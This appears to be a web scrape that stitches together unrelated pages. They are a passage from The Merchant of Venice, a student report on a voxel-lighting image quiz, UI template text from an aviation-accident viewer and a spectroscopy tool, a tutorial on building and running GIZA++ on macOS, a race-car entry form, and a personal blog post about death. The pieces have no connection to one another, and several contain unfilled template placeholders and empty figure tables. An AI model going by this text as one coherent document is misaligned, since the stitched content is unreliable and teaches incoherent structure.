And now methinks I have a mind to it.
BASSANIO
There's more depends on this than on the value.
The dearest ring in Venice will I give you,
And find it out by proclamation:
Only for this, I pray you, pardon me.
PORTIA
I see, sir, you are liberal in offers
You taught me first to beg; and now methinks
You teach me how a beggar should be answer'd.
BASSANIO
Good sir, this ring was given me by my wife;
And when she put it on, she made me vow
That I should neither sell nor give nor lose it.
PORTIA
That 'scuse serves many men to save their gifts.
An if your wife be not a mad-woman,
And know how well I have deserved the ring,
She would not hold out enemy for ever,
For giving it to me. Well, peace be with you!
[Exeunt Portia and Nerissa]
ANTONIO
My Lord Bassanio, let him have the ring:
Let his deservings and my love withal
Be valued against your wife's commandment.
BASSANIO
Go, Gratiano, run and overtake him;
Give him the ring, and bring him, if thou canst,
Unto Antonio's house: away! make haste.
[Exit Gratiano]
Come, you and I will thither presently;
And in the morning early will we both
Fly toward Belmont: come, Antonio.
[Exeunt]


Qualitative Analysis
With the purpose of doing a qualitative analysis of the images quality, we decided to create a quiz. This allowed us to make a cross reference between the system memory used vs the images that people chosen by answering the quiz. We used the ClipSize and the ClipRange as test parameters. Our intention was to approach people who were not familiar with the subject. Hence, the answers are more plausible. After gathering the opinion of thirty people, the analysis can be consulted below.
Do you consider yourself a gamer or somewhat aware of modern real time graphics?
Question 1
|
|
|
|
| Figure 1 |
Figure 2 |
FIgure 3 |
In the first question was used a ClipSize of 16 and a ClipRange of 256 (Figure 1), 512 (Figure 2) and 1024 (Figure 3). On average the most chosen image was the third one (ClipRange at 1024). The graphics card memory used was 430MB and 11MB of RAM.
Question 2
|
|
|
|
| Figure 4 |
Figure 5 |
FIgure 6 |
In this second question, the ClipSize was increased to 32. The memory used and the answer are the same as before (ClipRange at 1024).
Question 3
|
|
|
|
| Figure 7 |
Figure 8 |
FIgure 9 |
In general the Figure 9 was considered as the best image by 50% of the people (ClipSize at 64 and ClipRange at 1024). But if we analyse the answers of the "Gamers", we see that the results are more balanced. We think that this is due to a better ambient occlusion on the curtains of the scene. The figures below show the differences between the Figure 9 and the other ones. In fact, the curtains' pixels are the most noticeable difference at first glance.
|
|
|
| Difference between Figure 9 and 7 |
Difference between Figure 9 and 8 |
Question 4
|
|
|
|
| Figure 10 |
Figure 11 |
Figure 12 |
All images have a ClipSize of 128, with a ClipRange of 256 (Figure 10), 512 (Figure 11) and 1024 (Figure 12). The Figure 10 has less votes because the lion is too dark to be seen. Figure 12 however has good ambient occlusion and the ClipRange at 1024 allows to see the lion in the background. So this was the obvious choice.
Question 5
|
|
|
|
| Figure 13 |
Figure 14 |
Figure 15 |
The most voted choice in this question was the third image once more, because the first ones were too dark. The ClipSize was define at 256. So if the ClipRange is not big enough, it can not include the complete scene to voxelize. So these parts of the scene do not contribute to the global illumination and if not directly illuminated they are black as shown in the images. To better understand, the images bellow represent the differences between the third image and the other two, respectively.
|
|
|
| Difference between Figure 15 and 13 |
Difference between Figure 15 and 14 |
Question 6
|
|
|
|
|
| Figure 16 |
Figure 17 |
Figure 18 |
Figure 19 |
Comparing this four images, the majory voted on the second image. The parameters used on this one are ClipSize at 128 and ClipRange at 512. The last one uses the ClipSize at 256 and a ClipRange at 1024. This last image uses 1843MB of graphics card memory and 2124MB of RAM while the most voted only uses 972MB of graphics card memory and 10MB of RAM. So, it seems that it is not necessary to use the best parameters possible to achieve a good image quality. Hence, we use less computational resources and have a better frame rate (55 frames per second).
Question 7
|
|
|
|
| Figure 20 |
Figure 21 |
Figure 22 |
The less voted image is the Figure 21. This is probably due to its flat ambient colors because it has none global illumination contribute. The most voted (Figure 22) has a ClipSize of 64 while Figure 20 only has a ClipSize of 32, spending 461MB and 393MB of graphics card memory, respectively.
Question 8
|
|
|
|
| Figure 23 |
Figure 24 |
Figure 25 |
Once more, the image with the lowest settings (Figure 4) is the choice for most. This image has a ClipSize of 64 with a ClipRange at 20, while Figure 23 and 25 have a ClipSize at 128 and 256 respectively. We can conclude that with the right parameters, we can achieve great results with low computational cost.
Question 9: Would you agree that the most realistic figures in terms of lighting are up to date (modern)?
Question 10: Choose the best looking figure for each scene. In terms of lighting, reflections and shadows, do you consider that the two scenes used have equivalent detail?


Icarus
An interactive way to view aviation accident data in the United States.
Data Utilization
{{ activeRows }}
of
{{ maxRows }}
Events Utilized
{{ dataUtilization | number:0 }}%
Controls
Date Range
Data Source
NTSB
FAA
Investigation Type
Fatalities
Injuries
Aircraft Category
Submit


Powerfile
Normline
Mass Spectrum
Misc plots
Home
About
Open Directory
Filename
File contents
#POWER file # 10 Hz FELIX # #SHOTS=26 #INTERP=linear # IN_no_UM (if one deletes the "no" the firs number will be in \mu m # wavelength/cm-1 energy/pulse/mJ
Save


Recently, I was working on a task for which I needed to align sentences in two languages in a parallel corpus. For this purpose, I wanted to use GIZA++, a statistical machine translation toolkit that is used to train IBM Models 1-5 and an HMM word alignment model. The toolkit is a bit outdated and does not seem to be further developped. Therefore, it was a bit challenging to find out how to install and use it.
In this post, I am going to go through each step of installing GIZA++ with an alignment example. I have tested the following on my macOS (Catalina).
There are various version of GIZA++ available on the web, including that on the official website and another one on Github. I found the latter less problematic to install on modern machines.
Download the zipped repository at https://github.com/moses-smt/giza-pp and unzip it locally or, clone it as follows:
$ git clone git@github.com:moses-smt/giza-pp.git
As GIZA++ was initially written for Linux, we need to apply a few modifications to use it on a case-insensitive file system like macOS.
Navigate to the giza-pp/
and then GIZA++-v2
directory and edit lines 321-322 of the model3.cpp
file which contains the following:
alignfile = Prefix + ".A3." + number ;
test_alignfile = Prefix + ".tst.A3." + number ;
to this:
alignfile = Prefix + ".AA3." + number ;
test_alignfile = Prefix + ".tst.AA3." + number ;
You can do it by simply opening the file in Vim
and modify it as follows:
cd giza-pp/GIZA++-v2
$ vim +321 model3.cpp
These solutions were found thanks to this and this websites.
Now, in the same giza-pp/GIZA++-v2
directory, edit line 9 of the GIZA++ Makefile
. That line contains the following:
CFLAGS_OPT = $(CFLAGS) -O3 -funroll-loops -DNDEBUG -DWORDINDEX_WITH_4_BYTE -DBINARY_SEARCH_FOR_TTABLE -DWORDINDEX_WITH_4_BYTE
and it should be changed to this new one:
CFLAGS_OPT = $(CFLAGS) -O3 -funroll-loops -DNDEBUG -DWORDINDEX_WITH_4_BYTE
And one last modification is with regard to references to tr1
which are not supported by macOS. Running the following lines will fix that problem too (make sure you are in the giza-pp
directory):
cd giza-pp
perl -pi -w -e 's/<tr1\//</g;' GIZA++-v2/* mkcls-v2/*
perl -pi -w -e 's/using namespace std::tr1;//g;' GIZA++-v2/* mkcls-v2/*
perl -pi -w -e 's/std::tr1:://g;' GIZA++-v2/* mkcls-v2/*
sed '36d' mkcls-v2/mystl.h > mkcls-v2/mystl.h.tmp
sed '50d' mkcls-v2/mystl.h.tmp > mkcls-v2/mystl.h
rm mkcls-v2/mystl.h.tmp
make
The final line, make
, will take a while and make your files. Now, we are OK with GIZA++.
For this tutorial, I would like to align the English and Irish versions of the Constitution of Ireland. Download the two files and put them in a new directory, let’s say giza_example/
in the same directory of giza-pp
:
These two files are already tokenized with spaces. This can be done by any tool or library of your choice, such as Moses or NLTK.
Make sure that your data are parallel, that is the same line in each file refers to the same thing in different languages.
Following the two previous steps, you should now be ready to align words in your parallel data. To do so, first, we should create a few files required for GIZA++ to find the most probable alignments.
Assuming that your working directory looks like this (the parallel data are in giza_example
):
.
├── GIZA++-v2
├── giza_example
└── mkcls-v2
Navigate to the GIZA++-v2
directory and run the following which will generate the vocabulary (.vcb
) and sentences files (`.snt):
./plain2snt.out ../giza_example/Constitution_of_Ireland.tok.en ../giza_example/Constitution_of_Ireland.tok.ga
Now, your giza_example
directory contains the following files:
Constitution_of_Ireland.tok.ga.vcb
Constitution_of_Ireland.tok.ga_Constitution_of_Ireland.tok.en.snt
Constitution_of_Ireland.tok.ga
Constitution_of_Ireland.tok.en.vcb
Constitution_of_Ireland.tok.en_Constitution_of_Ireland.tok.ga.snt
Constitution_of_Ireland.tok.en
Constitution_of_Ireland.ga
Constitution_of_Ireland.en
The next step is to extract the co-occurrences by running the following:
./snt2cooc.out ../giza_example/Constitution_of_Ireland.tok.en.vcb ../giza_example/Constitution_of_Ireland.tok.ga.vcb ../giza_example/Constitution_of_Ireland.tok.ga_Constitution_of_Ireland.tok.en.snt > ../giza_example/corp.cooc
Although it doesn’t matter which .snt
file you are providing, you should make sure that you will provide the same thing in the next step as it’s going to be your source resource.
And finally, in the same directory of GIZA++-v2
, run GIZA++ as follows:
./GIZA++ -S ../giza_example/Constitution_of_Ireland.tok.ga.vcb -T ../giza_example/Constitution_of_Ireland.tok.en.vcb -C ../giza_example/Constitution_of_Ireland.tok.ga_Constitution_of_Ireland.tok.en.snt -CoocurrenceFile ../giza_example/corp.cooc -outputpath ../giza_example/
All these steps should provide you with many files including /giza_example/2020-04-01.030523.sina.AA3.final
and /giza_example/2020-04-01.030523.sina.actual.ti.final
(ignore the file prefixes):
2020-04-01.030523.sina.AA3.final
: contains sentence pairs and word alignments from the source language (Irish) into the target language (English) using Viterbi Alignment, which is the most probable alignment (the one that maximizes the alignment probability). One particular sentence pair of this file looks like the following:
# Sentence pair (43) source length 12 target length 17 alignment score : 6.81325e-23
the name of the state is éire , or , in the english language , ireland .
NULL ({ 3 8 12 }) éire ({ 1 }) is ({ }) ainm ({ 2 }) don ({ 4 }) stát ({ 5 }) nó ({ 9 }) , ({ 10 }) sa ({ 11 }) sacs-bhéarla ({ 13 14 }) , ({ 15 }) ireland ({ 6 7 16 }) . ({ 17 })
The first line shows the length (number of words) of the source (Irish) and target (English) sentences, along with the Viterbi alignment score.
The second line is the target sentence, and the third line is the source sentence annotated with alignment information. Each source word is annotated with the set of indices of target words that are aligned to that source word. Note that in IBM Models assume that one target word is aligned at most one source word. The first NULL ({ 3 8 12 })
means that the 3rd, 8th and 12th target words, of
, ,
and the
, are not aligned to any words, while stát ({ 5 })
is aligned with state
.
2020-04-01.030523.sina.actual.ti.final
: This is the final inverse T-tables (lexical translation probability) trained by the model. Lexical translation probability t(e|f)
is the probability that word f
in the source language (Irish) is translated to word e
in the target language (Target). Since this is the inverse T-tables, it contains t(f|e)
. The following is a sample of the file:regulated bunrialacha 2.0894e-06
regulated réir 1.54128e-05
regulated de 3.15225e-05
regulated rialú 5.94554e-05
regulated a 2.33605e-05
regulated seo 4.05318e-05
regulated shibhialta 1.17498e-06
regulated gur 5.15473e-06
Last updated on 1 April 2020.


Entry Form
Team Name
School Name
Speed of Car (mph)
Time of Run (s)
Token
For test purposes, the token is: 9D0UJ0S083JJD82A01SHFUJA03
Submit


my (first) deathnote
sidenote: this post and the next one or two i write (i think) are both going to be about death.
i’m fairly obsessed with the american anti-obsession with death. the lengths american society goes to to avoid thinking about, dealing with, seeing in real ways, and coping with the fact that we’re all going to die one day are amazing. i think a large portion of the issues american society faces flow from this aversion. i could go on and on about this, but that’s not the point.
the point today is to start dealing with it myself. and i’ll start with my own death (because i almost always think the place to start in in oneself). i think this may become an annual tradition. who knows. here goes:
it’s nearing the end of 2016 and i’m thinking about my death.
my first thought: i am resigned to the reality that one way or another, the oppressive systems we live in will probably kill me. if it’s not a bullet or other direct assault from a human it may be the climate and resulting catastrophe or it may be cancer from the toxic environments/lifestyles we’ve created for ourselves.
so be it.
or maybe I’ll die of old age and my body ceasing to function in a way that keeps my soul in it. that’s fine, too. it feels less likely, but hey, nothing’s impossible. and maybe i’ll look back at this when i’m 90 and think “what a ridiculous thing i wrote.”
either way, this note about my death is actually about how i want to live (knowing that i will die):
- i hope that some people i crossed paths with know what it feels like to be loved because of me
- i hope that people and the world are better because of my life, relationships, and work
- i would love to be a part of ending hunger worldwide
- i hope to be part of bringing about new ways of living that help people live lives more aligned with their true selves, people arond them, and the planet
- if there’s an afterlife, i hope that the things i did while alive land me on the side of it where there’s contentment
whether i die later today, tomorrow, or in some years, i hope i’m able to genuinely live every day like it’s my last and also like i’ll live till i’m old.
ps - also, i didn’t commit suicide. if shit gets crazy, don’t let anyone tell you i killed myself. i will never kill myself. if you hear it on tape, i was tortured. i promise. i have already died once and that experience taught me that life is much too precious to willingly end.
resources
- death, redesigned
- the backlash to death, redesigned
- america: a nation founded on genocide and trauma that is afraid to acknowledge death and grief
writing: 18:36 spell-check, link-finding, & formatting: 9:11